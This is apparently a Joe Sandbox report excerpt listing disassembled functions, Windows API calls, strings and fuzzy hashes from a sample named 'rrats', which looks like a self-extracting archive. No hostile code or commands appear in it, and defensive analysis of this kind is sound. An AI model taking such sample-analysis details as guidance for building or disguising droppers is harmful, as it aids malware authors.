Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: File$CreateErrorLast$Time
String ID:
API String ID: 1999340476-0
Opcode ID: 071dc1233f5bacbab56b7f8b50ac12f6649e342c72fc678fe1b3119df82c96bd
Instruction ID: a3b218c756548c5e7ec44cf139d3596cc0db730fc16133e03ca362589a30111a
Opcode Fuzzy Hash: 071dc1233f5bacbab56b7f8b50ac12f6649e342c72fc678fe1b3119df82c96bd
Instruction Fuzzy Hash: 0C3115305443867FE7209B34CC46BDBBB98FB06328F100B19F9B5961D1D7B5AA44CB95

Function 00CBB568 Relevance: 7.5, APIs: 5, Instructions: 38
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00CBB579
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00CBB58A
IsDialogMessageW.USER32(0001046A,?), ref: 00CBB59E
TranslateMessage.USER32(?), ref: 00CBB5AC
DispatchMessageW.USER32(?), ref: 00CBB5B6

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: e3ecf8d4c8e05dae66c7302f54da6ee22830ddd65d8600e134fdcf40729098a9
Instruction ID: 8af23210dca3a17d852ca747d23db509c157c7b28cf8cdaf25952a7b43684812
Opcode Fuzzy Hash: e3ecf8d4c8e05dae66c7302f54da6ee22830ddd65d8600e134fdcf40729098a9
Instruction Fuzzy Hash: CDF06D71E0221AABDB209FE6AC4CEDB7FACEE056917404415B519D2150EB74D609CBB1

Function 00CBAC16 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00CB081B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00CB0836
Part of subcall function 00CB081B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00CAF2D8,Crypt32.dll,00000000,00CAF35C,?,?,00CAF33E,?,?,?), ref: 00CB0858

OleInitialize.OLE32(00000000), ref: 00CBAC2F
GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00CBAC66
SHGetMalloc.SHELL32(00CE8438), ref: 00CBAC70

Strings

riched20.dll, xrefs: 00CBAC1E

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: DirectoryGdiplusInitializeLibraryLoadMallocStartupSystem
String ID: riched20.dll
API String ID: 3498096277-3360196438
Opcode ID: 71b97543c348c97e38503ebaa6a4315ed4b1623cd9857f90c0b1630e988ff3f9
Instruction ID: 8272c69b5e25e3c8e62dfbfc42204234d74b506de2a2d793bc88bc7ccd216bc4
Opcode Fuzzy Hash: 71b97543c348c97e38503ebaa6a4315ed4b1623cd9857f90c0b1630e988ff3f9
Instruction Fuzzy Hash: 67F01DB1D00209ABCB10AFAAD849AEFFFFCEF94700F00416AE515E2251DBB45605CFA1

Function 00CBDBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 31COMMON

Download Yara Rule

APIs

SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 00CBDBF4
SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 00CBDC30

Strings

sfxcmd, xrefs: 00CBDBEF
sfxpar, xrefs: 00CBDC2B

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: 44f7083447d7afb38c5bb7674e571573068d0549dd20e7105fb03ee40d815d36
Instruction ID: f1e191425bc3e1b91b6e20fcf4e2fe5d10b4f39f0754ecd775294a8a7b736170
Opcode Fuzzy Hash: 44f7083447d7afb38c5bb7674e571573068d0549dd20e7105fb03ee40d815d36
Instruction Fuzzy Hash: 00F065B2505235ABDB202F959C0AFFF7F98BF15B82F040466BE8796151E6B08940E6B1

Function 00CA9785 Relevance: 6.1, APIs: 4, Instructions: 56fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00CA9795
ReadFile.KERNELBASE(?,?,?,?,00000000), ref: 00CA97AD
GetLastError.KERNEL32 ref: 00CA97DF
GetLastError.KERNEL32 ref: 00CA97FE

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: ca3a567687b76b76af4f41e8ba87fc60261d40bf4bd4b8168d4b00c54f741bec
Instruction ID: 34b35ffb78987b836f174d5fc48e3209f09954d5739ec27d7d5b09daa75bc3cd
Opcode Fuzzy Hash: ca3a567687b76b76af4f41e8ba87fc60261d40bf4bd4b8168d4b00c54f741bec
Instruction Fuzzy Hash: A7118E30910206EBDF209F65C806B6D37B9FB43728F20892AF426C51D0D7789F44DB62

Function 00CCAD34 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00CC40EF,00000000,00000000,?,00CCACDB,00CC40EF,00000000,00000000,00000000,?,00CCAED8,00000006,FlsSetValue), ref: 00CCAD66
GetLastError.KERNEL32(?,00CCACDB,00CC40EF,00000000,00000000,00000000,?,00CCAED8,00000006,FlsSetValue,00CD7970,FlsSetValue,00000000,00000364,?,00CC98B7), ref: 00CCAD72
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00CCACDB,00CC40EF,00000000,00000000,00000000,?,00CCAED8,00000006,FlsSetValue,00CD7970,FlsSetValue,00000000), ref: 00CCAD80

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: 651da0135e84193e332c5252a3db2e2b0a4fa19ceefe218e35cb2142429a9a11
Instruction ID: 553ae48909d9c9e812a16b72adcf0341c3d544859babc53c75bdc88cb6b9f974
Opcode Fuzzy Hash: 651da0135e84193e332c5252a3db2e2b0a4fa19ceefe218e35cb2142429a9a11
Instruction Fuzzy Hash: D301473260222AABC7214B79EC4CF5B7B98EF00BA67100229F817D3550DB20DD0186E2

Function 00CB101F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00010000,Function_00011160,?,00000000,00000000), ref: 00CB1043
SetThreadPriority.KERNEL32(?,00000000), ref: 00CB108A

Part of subcall function 00CA6C36: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00CA6C54

Strings

CreateThread failed, xrefs: 00CB104F

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: Thread$CreatePriority__vswprintf_c_l
String ID: CreateThread failed
API String ID: 2655393344-3849766595
Opcode ID: 9e54d7bc8c721b980e589cf4ed74b668997a7e6041e93ce2ec97dee1e35eeb41
Instruction ID: dda9d09fb4c72039174b0027eb1aec8914a5510f2176e183392a857516f05960
Opcode Fuzzy Hash: 9e54d7bc8c721b980e589cf4ed74b668997a7e6041e93ce2ec97dee1e35eeb41
Instruction Fuzzy Hash: EE01FEB53443496FD334AF68AC51BBAB368EB80755F14003EFE4656180CAB168C54724

Function 00CBAE2F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

Part of subcall function 00CAC29A: _wcslen.LIBCMT ref: 00CAC2A2

Part of subcall function 00CB1FDD: _wcslen.LIBCMT ref: 00CB1FE5
Part of subcall function 00CB1FDD: _wcslen.LIBCMT ref: 00CB1FF6
Part of subcall function 00CB1FDD: _wcslen.LIBCMT ref: 00CB2006
Part of subcall function 00CB1FDD: _wcslen.LIBCMT ref: 00CB2014
Part of subcall function 00CB1FDD: CompareStringW.KERNEL32(00000400,00001001,?,?,?,?,00000000,00000000,?,00CAB371,?,?,00000000,?,?,?), ref: 00CB202F

Part of subcall function 00CBAC04: SetCurrentDirectoryW.KERNELBASE(?,00CBAE72,C:\Users\user\Desktop,00000000,00CE946A,00000006), ref: 00CBAC08

_wcslen.LIBCMT ref: 00CBAE8B
SHFileOperationW.SHELL32(?,?,?,?,?,00CE946A,00000006), ref: 00CBAEC4

Strings

C:\Users\user\Desktop, xrefs: 00CBAE68

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: _wcslen$CompareCurrentDirectoryFileOperationString
String ID: C:\Users\user\Desktop
API String ID: 1016385243-1246513382
Opcode ID: e88d3757d3d330a6848d675c46594985830e2397d8614f342709029af41398c0
Instruction ID: e6502f03bd5cc875e246e5a3bd0a55abc40e956164b8f8d8fdfe8b4c7012f3cf
Opcode Fuzzy Hash: e88d3757d3d330a6848d675c46594985830e2397d8614f342709029af41398c0
Instruction Fuzzy Hash: 5E015E71D0025965DF11ABA4DD0AEDF77FCAF08700F000465F506E3192E6B496449AA1

Function 00CA9F7A Relevance: 4.6, APIs: 3, Instructions: 111fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,?,?,?,?,00CAD343,00000001,?,?,?,00000000,00CB551D,?,?,?), ref: 00CA9F9E
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,00000000,00CB551D,?,?,?,?,?,00CB4FC7,?), ref: 00CA9FE5
WriteFile.KERNELBASE(0000001D,?,?,?,00000000,?,00000001,?,?,?,?,00CAD343,00000001,?,?), ref: 00CAA011

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: eddba78c8b4b6365e787c04116d073a608cf3749794dd66e826186f921368c03
Instruction ID: 5575dd3a5c3a25e7b3f2a1ccbf6ee87316e5503082fc808df92a6160f1809a97
Opcode Fuzzy Hash: eddba78c8b4b6365e787c04116d073a608cf3749794dd66e826186f921368c03
Instruction Fuzzy Hash: FF31E23120434AAFDB14CF24D809B6EB7A5FF86719F04451DF99297290C775AE48CBA3

Function 00CAA2B2 Relevance: 4.6, APIs: 3, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 00CAC27E: _wcslen.LIBCMT ref: 00CAC284

CreateDirectoryW.KERNELBASE(?,00000000,?,?,?,00CAA175,?,00000001,00000000,?,?), ref: 00CAA2D9
CreateDirectoryW.KERNEL32(?,00000000,?,?,00000800,?,?,?,?,00CAA175,?,00000001,00000000,?,?), ref: 00CAA30C
GetLastError.KERNEL32(?,?,?,?,00CAA175,?,00000001,00000000,?,?), ref: 00CAA329

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: CreateDirectory$ErrorLast_wcslen
String ID:
API String ID: 2260680371-0
Opcode ID: cd4bee3eb3a3c3569b87885c8190e285c1245200c7b83cd87b856870ae57b2ba
Instruction ID: 7e0c7a03323bf1c8a32cb918d47633cd36790c9c1fbd9455507c9e8618236e69
Opcode Fuzzy Hash: cd4bee3eb3a3c3569b87885c8190e285c1245200c7b83cd87b856870ae57b2ba
Instruction Fuzzy Hash: 6F01F7312022126AEF31AB754C49BFD3798AF0B789F044416F912E60A1D764DB81D6B7

Function 00CCB893 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 00CCB8B8

Strings

, xrefs: 00CCB8FD

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: 6c41aa06ee53d33018261184b9ea2846c7a1d8fcfa912aeeaddd926262f0469c
Instruction ID: 35ba1e674e64f49a5df0fc87a8aaa5edf15bbd6896036090f3d85c4e76fa07ed
Opcode Fuzzy Hash: 6c41aa06ee53d33018261184b9ea2846c7a1d8fcfa912aeeaddd926262f0469c
Instruction Fuzzy Hash: FE41F67050428C9ADF218EA5CC85FEABBB9EB45304F1404EDE5DAC6142D335AE469B60

Function 00CCAF6C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,2DE85006,00000001,?,000000FF), ref: 00CCAFDD

Strings

LCMapStringEx, xrefs: 00CCAF7D, 00CCAF87

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: String
String ID: LCMapStringEx
API String ID: 2568140703-3893581201
Opcode ID: 4a747d107bb871ad10b3f0602ae1c44bbc20e20a3cd43ee765bcfd7ee2a54a44
Instruction ID: dac727fe3992756c7fb12c2f1f32220721f276d8c0dcd5f4cb405abc965d7bab
Opcode Fuzzy Hash: 4a747d107bb871ad10b3f0602ae1c44bbc20e20a3cd43ee765bcfd7ee2a54a44
Instruction Fuzzy Hash: 3B014C3250510DBBCF026F90DC05EEE7F62EF08754F01425AFE1466261C6728A31EB81

Function 00CCAF0A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,00CCA56F), ref: 00CCAF55

Strings

InitializeCriticalSectionEx, xrefs: 00CCAF1B, 00CCAF25

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx
API String ID: 2593887523-3084827643
Opcode ID: 61a3599f8fdadf73d6b75d71f4d6a42423ec63176d957921e5bc7d3d12dd1385
Instruction ID: f8f0538449bb044e5f4bd483c9df1f43f6fcd7557c4b64606765a2899ec05608
Opcode Fuzzy Hash: 61a3599f8fdadf73d6b75d71f4d6a42423ec63176d957921e5bc7d3d12dd1385
Instruction Fuzzy Hash: F5F0B43264621CBFCF026F50CC1AE9D7F61EF04711F40416AFD099A360EA314A10A786

Function 00CCADAF Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 00CCADEE

Strings

FlsAlloc, xrefs: 00CCADC0, 00CCADCA

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: Alloc
String ID: FlsAlloc
API String ID: 2773662609-671089009
Opcode ID: 0ad728546c387cf2d2426a2c060b3c3789e2867b08a2f9528dd9be7f654fc6d3
Instruction ID: 94ae5c6869b4db779ccb4566efea84c08086f339538c5e3cf6aeebcfa5f1bac9
Opcode Fuzzy Hash: 0ad728546c387cf2d2426a2c060b3c3789e2867b08a2f9528dd9be7f654fc6d3
Instruction Fuzzy Hash: 91E0E532A8621C7BC601AB65DC1AF6EBB94DB04721B4102AEF90697340DD715E1196DA

Function 00CBEAE7 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBEAF9

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Strings

3Qo, xrefs: 00CBEAE7, 00CBEAF3

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: 3Qo
API String ID: 1269201914-1944013411
Opcode ID: fa416d7b8da026fc1e6f1f3752d7f682778d54c790f454549d5f0d539abe8c50
Instruction ID: 021770638c5dd6bdfd92bdb09e37d73dff09b89c870cdf214e942e098575e569
Opcode Fuzzy Hash: fa416d7b8da026fc1e6f1f3752d7f682778d54c790f454549d5f0d539abe8c50
Instruction Fuzzy Hash: 70B012C629B4437C3908A2061E42CF7090DC4C0F90730803FF504C41C1DC814C026471

Function 00CCBBF0 Relevance: 3.2, APIs: 2, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 00CCB7BB: GetOEMCP.KERNEL32(00000000,?,?,00CCBA44,?), ref: 00CCB7E6

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,00CCBA89,?,00000000), ref: 00CCBC64
GetCPInfo.KERNEL32(00000000,00CCBA89,?,?,?,00CCBA89,?,00000000), ref: 00CCBC77

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 757025bc3e4f877b919ec3571e8b83dd9f2a4cb2765b6be72bb7a57fdcac0564
Instruction ID: 977381dbbbd8e00518c623df280d3d073a3020cc2a03f5ea096720697be780e7
Opcode Fuzzy Hash: 757025bc3e4f877b919ec3571e8b83dd9f2a4cb2765b6be72bb7a57fdcac0564
Instruction Fuzzy Hash: 0F513470D002559EDB209FF5C892FBABBE4EF41310F1844AED4A68B292D7359E46DB90

Function 00CA9A74 Relevance: 3.1, APIs: 2, Instructions: 116COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(000000FF,?,?,?,-00000870,00000000,00000800,?,00CA9A50,?,?,00000000,?,?,00CA8CBC,?), ref: 00CA9BAB
GetLastError.KERNEL32(?,00000000,00CA8411,-00009570,00000000,000007F3), ref: 00CA9BB6

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
